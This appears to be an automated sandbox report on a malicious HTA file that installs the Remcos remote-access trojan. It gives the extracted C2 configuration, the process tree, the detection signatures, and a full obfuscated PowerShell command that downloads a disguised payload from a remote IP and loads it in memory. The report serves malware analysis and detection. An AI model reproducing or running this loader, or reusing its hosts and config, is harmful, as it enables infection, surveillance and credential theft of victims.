Analysis
- max time kernel
148s - max time network
126s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
10/09/2026, 10:23
General
- Target goodthingswithbestfeatures.hta
- Size 767KB
- Sample260910-mexycs1gkh
- SHA256 277086b6ca33f064114cac5a219b2ab32f8b0f519e4386a3244267a31c4e3e7f
Malware Config
Extracted
-
ps1
-
exe.dropper
http://69.12.83.176/img/MSI_PRO_Latest.png
Extracted
-
remcos
-
6.0.0 Pro
-
zg71
-
107.172.13.250:7122
-
audio_folder
MicRecords
-
audio_path
ApplicationPath
-
audio_record_time
5
-
connect_delay
0
-
connect_interval
1
-
copy_file
remcos.exe
-
copy_folder
Remcos
-
delete_file
false
-
hide_file
false
-
hide_keylog_file
false
-
install_flag
false
-
keylog_crypt
false
-
keylog_file
logs.dat
-
keylog_flag
false
-
keylog_folder
remcos
-
mouse_option
false
-
mutex
Rmc-C9X6OO
-
screenshot_crypt
false
-
screenshot_flag
false
-
screenshot_folder
Screenshots
-
screenshot_path
%AppData%
-
screenshot_time
10
-
take_screenshot_option
false
-
take_screenshot_time
5
Signatures
- Family: Remcos
Remcos is a closed-source remote control and surveillance software.
- Suricata alert: REMCOS RAT Malware Inbound C2 Communication 9 IoCs
Network activity triggered a Suricata alert
- Suricata alert: REMCOS RAT Malware Outbound C2 Communication 11 IoCs
Network activity triggered a Suricata alert
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Detected Nirsoft tools 3 IoCs
Free utilities often used by attackers which can steal passwords, product keys, etc.
- NirSoft MailPassView 1 IoCs
Password recovery tool for various email clients
- NirSoft WebBrowserPassView 1 IoCs
Password recovery tool for various web browsers
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
- Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
- Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Suspicious use of SetThreadContext 4 IoCs
- System Location Discovery: System Language Discovery 1 TTPs 5 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 8 IoCs
- Suspicious behavior: MapViewOfSection 3 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 10 IoCs
- outlook_office_path 1 IoCs
Processes
-
C:\Windows\SysWOW64\mshta.exeC:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\goodthingswithbestfeatures.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}1⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -ExecutionPolicy Bypass -Command "&([scriptblock]::Create('$domamopivucejotelaruyalifubodeqirukowolimagijeyulitatohahubumunequjatexofehubowirisawijidaweluyecexe=''http://69.12.83.176/img/MSI_PRO_Latest.png''; $sudulisusesugaduzowuwejucemicufomemafagakobakelufiniluvayahividudukelucayozibeferunugubesiyumavimono = [System.Net.HttpWebRequest]::Create($domamopivucejotelaruyalifubodeqirukowolimagijeyulitatohahubumunequjatexofehubowirisawijidaweluyecexe); $sudulisusesugaduzowuwejucemicufomemafagakobakelufiniluvayahividudukelucayozibeferunugubesiyumavimono.UserAgent = ''Mozilla/5.0''; $kaxupifuwakefogizisaqacebogenomojupicowatorohumogoxibusezukimiyakazigahijibayimobujisavowiwenifozocu = $sudulisusesugaduzowuwejucemicufomemafagakobakelufiniluvayahividudukelucayozibeferunugubesiyumavimono.GetResponse().GetResponseStream(); $nesucusisizuguvujageyapuqiyaderajiseyadanisabosigabimoleresufagivesotoqenugofajoqodotikodiyuyilehame = New-Object IO.StreamReader($kaxupifuwakefogizisaqacebogenomojupicowatorohumogoxibusezukimiyakazigahijibayimobujisavowiwenifozocu); $jepaxoyuzewihihegaleyomatewimuhixijicegesewizaneqeyanoyaruqukuvujihewixusuwemaroraxuzudezerajopatume = $nesucusisizuguvujageyapuqiyaderajiseyadanisabosigabimoleresufagivesotoqenugofajoqodotikodiyuyilehame.ReadtoEnd(); $teyuwigohofirirepugizayumotanubonugiyopatubexigulofupocisiviqocopecacajotirejotesevixoqitoxuvukuxowe=''IN-''; $neduzojegomaduyunihayehuhimurevogayeyuwekirahinipifuqexozabotihawoyacebasapujulototehokuduqilihacoto=''-in1''; $vuraqopinikimuvibulazanihufinatusebutelonoxujazesigequtumetejeqomakataxicabofivagudekinomozagetexira=$jepaxoyuzewihihegaleyomatewimuhixijicegesewizaneqeyanoyaruqukuvujihewixusuwemaroraxuzudezerajopatume.IndexOf($teyuwigohofirirepugizayumotanubonugiyopatubexigulofupocisiviqocopecacajotirejotesevixoqitoxuvukuxowe); $nimupumoceqetiberexajusegiminisodibujusurikolimukuxopoviruvobuvumumiyuliyeqiroticicekanevofatoqunugo=$jepaxoyuzewihihegaleyomatewimuhixijicegesewizaneqeyanoyaruqukuvujihewixusuwemaroraxuzudezerajopatume.LastIndexOf($neduzojegomaduyunihayehuhimurevogayeyuwekirahinipifuqexozabotihawoyacebasapujulototehokuduqilihacoto); if($vuraqopinikimuvibulazanihufinatusebutelonoxujazesigequtumetejeqomakataxicabofivagudekinomozagetexira -eq -1 -or $nimupumoceqetiberexajusegiminisodibujusurikolimukuxopoviruvobuvumumiyuliyeqiroticicekanevofatoqunugo -eq -1){return}; $yigukujacefaquviwowizugaqocizodilaxedacahipicarupugusesihaqohobaninurufazomipubapotuzepayewomiyafitu=$vuraqopinikimuvibulazanihufinatusebutelonoxujazesigequtumetejeqomakataxicabofivagudekinomozagetexira+$teyuwigohofirirepugizayumotanubonugiyopatubexigulofupocisiviqocopecacajotirejotesevixoqitoxuvukuxowe.Length; $tunehumicubiqeqojoyuvajupafixemikazifoperenobiyazecesoqepisesewepobukawobifototiyeqoyafokopaparepoka=$jepaxoyuzewihihegaleyomatewimuhixijicegesewizaneqeyanoyaruqukuvujihewixusuwemaroraxuzudezerajopatume.Substring($jepaxoyuzewihihegaleyomatewimuhixijicegesewizaneqeyanoyaruqukuvujihewixusuwemaroraxuzudezerajopatume.IndexOf($teyuwigohofirirepugizayumotanubonugiyopatubexigulofupocisiviqocopecacajotirejotesevixoqitoxuvukuxowe)+$teyuwigohofirirepugizayumotanubonugiyopatubexigulofupocisiviqocopecacajotirejotesevixoqitoxuvukuxowe.Length, $nimupumoceqetiberexajusegiminisodibujusurikolimukuxopoviruvobuvumumiyuliyeqiroticicekanevofatoqunugo-($jepaxoyuzewihihegaleyomatewimuhixijicegesewizaneqeyanoyaruqukuvujihewixusuwemaroraxuzudezerajopatume.IndexOf($teyuwigohofirirepugizayumotanubonugiyopatubexigulofupocisiviqocopecacajotirejotesevixoqitoxuvukuxowe)+$teyuwigohofirirepugizayumotanubonugiyopatubexigulofupocisiviqocopecacajotirejotesevixoqitoxuvukuxowe.Length)); $repecejumapumerocevehefuyatizelefulafefifecadazobosiguficaxororasicabigarucijubaluzeganakibenosehutu=$tunehumicubiqeqojoyuvajupafixemikazifoperenobiyazecesoqepisesewepobukawobifototiyeqoyafokopaparepoka.Replace(''*'',''A'').ToCharArray(); $qiwazeyusonutivibeliqitozununaweqozazilojosaxonipucadehahilejitoyupenofigiwugucibeyaguqugofepoquxidu = -join $repecejumapumerocevehefuyatizelefulafefifecadazobosiguficaxororasicabigarucijubaluzeganakibenosehutu[($repecejumapumerocevehefuyatizelefulafefifecadazobosiguficaxororasicabigarucijubaluzeganakibenosehutu.Length - 1)..0]; $qocenitelijoxucesodurelivukocoyawobilawoxekiregezuseqolokuvatazixigekofodajatubadosohidajowuqanevahi = [Type]::GetType(''System.Convert''); [byte[]]$siqukofuvamebuforufelemitofekoqesomebojiqinocucuwipuraqoxopesahucawalogevoqewojowapokewoloreyujuxuqi = $qocenitelijoxucesodurelivukocoyawobilawoxekiregezuseqolokuvatazixigekofodajatubadosohidajowuqanevahi.GetMethod(''FromBase64String'').Invoke($null, (, $qiwazeyusonutivibeliqitozununaweqozazilojosaxonipucadehahilejitoyupenofigiwugucibeyaguqugofepoquxidu)); $penejajabinivoyugutiwitosoqinojagefipeduxelexuvurinibolevidadomekofexasozepolesofexivopequqagexibile=[AppDomain]::CurrentDomain.GetType().GetMethod(''Load'', [byte[]]); $quvoronuhizuvimocihenojuduqizevazikenawaqinipesedujisowokokekunukuxakafirohiniwududemedaximizigofefa=$penejajabinivoyugutiwitosoqinojagefipeduxelexuvurinibolevidadomekofexasozepolesofexivopequqagexibile.Invoke([AppDomain]::CurrentDomain, (,$siqukofuvamebuforufelemitofekoqesomebojiqinocucuwipuraqoxopesahucawalogevoqewojowapokewoloreyujuxuqi)); $waninonorojulequlopariqezopajodajuhodejesafuhovayazoqaxafasulehenorucovowebohatesezepefezoleceyojowo=(''oatGSI4xXK9Mv1JDEKW5vi1uNtS3GmjPU3rtohoiZjjjhrgRfxFDE/6rfisZlbPFnGO7MvQOqhFZx2hgCR09Sg=='','''',''hcDvokEWoYxgiXOc/B4HnjII3XpWsn9RHectl6QsdLnaufnXh3jmh7ZADvvIAUW2'',''6aOT5W7qNBmq3kZXbabcriIIrVk9uigtO4RJPNBxvUU='',''9iETn0kOlakOflC2Y8tWG/1AOfi+OYcZc5rWnxoCuqA='','''',''LMYycJd1gYwLHl8mFF3LnL+E/Oeq0j74FBlLSw9kZKM='','''',''LkYxCwzfcKDhsyS2QjV12HgdTeEkPVDLwZa+DghY9bM='',''Qal9d/TkRo1PwNuoflhITEcH/GkHofcziETwzLUlJRVZ3N0TjOhPUp0d/AzDhgh5'',''dwR7Pak3an5C7vWWBwUbu70bEwEukrydVV3swtSztQY='',''LlUZ7Jw/s/RaLo4oMX6c8xS4NMXN5gMuJZTB1QlCBeQ='',''Zv8ev7FNptdMzSz94AhyFuXwUzmJuwvvsoRhTIZ5FNY='','''',''6P2xoi+yTx1GAbSeUIXblaBJeO1JN+akkwkQm6C71xg='',''mZCTICDGym+YV0DsgiVfKgwTqFZWdvzzkVsKtfzm0B4='','''','''',''''); try{ $jiduyebaluxigizezikaduhunutepoceduromokuvicaxoxekozarugefodohakesobogihocemilicadagehelunodenigaleja=($quvoronuhizuvimocihenojuduqizevazikenawaqinipesedujisowokokekunukuxakafirohiniwududemedaximizigofefa.GetTypes() | Where-Object Name -eq ''gfffffffffffffffffffffffffff'' | Select-Object -First 1); $xofawubobufomomopisusimafidulanowokedihavakoduhasesoparulekugifizocecipivayituhuhubuwinotiwexunuqule=($jiduyebaluxigizezikaduhunutepoceduromokuvicaxoxekozarugefodohakesobogihocemilicadagehelunodenigaleja.GetMethods() | Where-Object Name -eq ''hhhhhhhhhhhhhhhhhhhhhhhhh'' | Select-Object -First 1); $xofawubobufomomopisusimafidulanowokedihavakoduhasesoparulekugifizocecipivayituhuhubuwinotiwexunuqule.Invoke($null,[object[]]$waninonorojulequlopariqezopajodajuhodejesafuhovayazoqaxafasulehenorucovowebohatesezepefezoleceyojowo) }catch{}'))"1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe"2⤵
- Suricata alert: REMCOS RAT Malware Inbound C2 Communication
- Suricata alert: REMCOS RAT Malware Outbound C2 Communication
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe /stext "C:\Users\Admin\AppData\Local\Temp\wbgzziveszkdbyqroosexrpjtw"3⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe /stext "C:\Users\Admin\AppData\Local\Temp\gvlkaagfghcimmmvxrfgawkscdcesf"3⤵
- Accesses Microsoft Outlook accounts
- Accesses Microsoft Outlook profiles
- System Location Discovery: System Language Discovery
- outlook_office_path
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe /stext "C:\Users\Admin\AppData\Local\Temp\jyqcbtrzcpuvotazocszljwjkjmntqhan"3⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
wbgzziveszkdbyqroosexrpjtw
memory/2396-35-0x0000000000400000-0x0000000000462000-memory.dmp
memory/2396-29-0x0000000000400000-0x0000000000462000-memory.dmp
memory/2396-33-0x0000000000400000-0x0000000000462000-memory.dmp
memory/3904-31-0x0000000000400000-0x0000000000424000-memory.dmp
memory/3904-34-0x0000000000400000-0x0000000000424000-memory.dmp
memory/3904-36-0x0000000000400000-0x0000000000424000-memory.dmp
memory/4236-25-0x0000000000400000-0x0000000000480000-memory.dmp
memory/4236-45-0x0000000010000000-0x0000000010019000-memory.dmp
memory/4236-54-0x0000000000400000-0x0000000000480000-memory.dmp
memory/4236-53-0x0000000000400000-0x0000000000480000-memory.dmp
memory/4236-51-0x0000000000400000-0x0000000000480000-memory.dmp
memory/4236-52-0x0000000000400000-0x0000000000480000-memory.dmp
memory/4236-49-0x0000000000400000-0x0000000000480000-memory.dmp
memory/4236-50-0x0000000000400000-0x0000000000480000-memory.dmp
memory/4236-17-0x0000000000400000-0x0000000000480000-memory.dmp
memory/4236-19-0x0000000000400000-0x0000000000480000-memory.dmp
memory/4236-20-0x0000000000400000-0x0000000000480000-memory.dmp
memory/4236-21-0x0000000000400000-0x0000000000480000-memory.dmp
memory/4236-47-0x0000000000400000-0x0000000000480000-memory.dmp
memory/4236-23-0x0000000000400000-0x0000000000480000-memory.dmp
memory/4236-24-0x0000000000400000-0x0000000000480000-memory.dmp
memory/4236-48-0x0000000000400000-0x0000000000480000-memory.dmp
memory/4236-26-0x0000000000400000-0x0000000000480000-memory.dmp
memory/4236-27-0x0000000000400000-0x0000000000480000-memory.dmp
memory/4236-46-0x0000000000400000-0x0000000000480000-memory.dmp
memory/4236-44-0x0000000010000000-0x0000000010019000-memory.dmp
memory/4236-41-0x0000000010000000-0x0000000010019000-memory.dmp
memory/4860-22-0x00007FFB18E10000-0x00007FFB197B4000-memory.dmp
memory/4860-3-0x00007FFB18E10000-0x00007FFB197B4000-memory.dmp
memory/4860-7-0x00007FFB18E10000-0x00007FFB197B4000-memory.dmp
memory/4860-11-0x00007FFB18E10000-0x00007FFB197B4000-memory.dmp
memory/4860-5-0x00007FFB18E10000-0x00007FFB197B4000-memory.dmp
memory/4860-4-0x00000183F4C30000-0x00000183F4C52000-memory.dmp
memory/4860-12-0x00007FFB18E10000-0x00007FFB197B4000-memory.dmp
memory/4860-10-0x00007FFB18E10000-0x00007FFB197B4000-memory.dmp
memory/4860-8-0x00007FFB18E10000-0x00007FFB197B4000-memory.dmp
memory/4860-13-0x00007FFB18E10000-0x00007FFB197B4000-memory.dmp
memory/4860-6-0x00007FFB18E10000-0x00007FFB197B4000-memory.dmp
memory/4860-0-0x00007FFB18F9F000-0x00007FFB18FA0000-memory.dmp
memory/4860-9-0x00007FFB18E10000-0x00007FFB197B4000-memory.dmp
memory/4860-16-0x00000183DCAB0000-0x00000183DCABA000-memory.dmp
memory/4860-15-0x00000183F51D0000-0x00000183F51E2000-memory.dmp
memory/4860-14-0x00000183F5150000-0x00000183F51D4000-memory.dmp
memory/4900-30-0x0000000000400000-0x0000000000478000-memory.dmp
memory/4900-32-0x0000000000400000-0x0000000000478000-memory.dmp
memory/4900-28-0x0000000000400000-0x0000000000478000-memory.dmp